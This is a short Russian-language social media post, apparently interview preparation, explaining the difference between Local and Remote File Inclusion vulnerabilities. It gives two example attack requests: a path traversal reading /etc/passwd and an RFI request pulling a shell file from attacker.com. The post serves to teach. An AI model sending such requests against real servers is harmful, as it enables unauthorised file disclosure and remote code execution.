Уязвимости LFI и RFI — в чём разница

Ещё один вопрос с собесов, который я решил сегодня осветить.

LFI и RFI — это уязвимости класса File Inclusion, когда приложение позволяет пользователю повлиять на то, какой файл будет подключён, прочитан или обработан сервером.

━━━━━━━━━━ Что такое LFI ━━━━━━━━━━

LFILocal File Inclusion. Это ситуация, когда приложение из-за пользовательского ввода подключает или читает локальный файл с самого сервера.

Простой пример: • GET /index.php?page=../../../../etc/passwd

Если приложение без нормальной валидации подставляет параметр page в файловую операцию, атакующий может выйти за пределы ожидаемой директории и добраться до системных файлов.

Важно понимать: ➤ LFI и Path Traversal — не всегда одно и то же Но очень часто LFI эксплуатируется именно через traversal-последовательности вроде ../ То есть path traversal часто выступает как техника достижения LFI.

━━━━━━━━━━ Что такое RFI ━━━━━━━━━━

RFIRemote File Inclusion. Это уже иной сценарий, приложение позволяет подключить файл с удалённого сервера.

Пример: • GET /index.php?page=https://attacker.com/shell.txt

Если сервер берёт этот внешний файл, загружает его и интерпретирует как код или шаблон, это уже может привести к очень серьёзным последствиям. Чаще всего именно здесь и всплывает RCE.

━━━━━━━━━━ В чём главное отличие данных уяз ━━━━━━━━━━

Если коротко: • LFI — заставили сервер работать со своим локальным файломRFI — заставили сервер подтянуть чужой внешний файл

Тем самым RFI обычно считается опаснее, потому что там намного ближе путь к выполнению атакующего кода.

#AppSec #LFI #RFI #CyberSecurity

Уязвимости LFI и RFI — в чём разница | Сетка — социальная сеть от hh.ru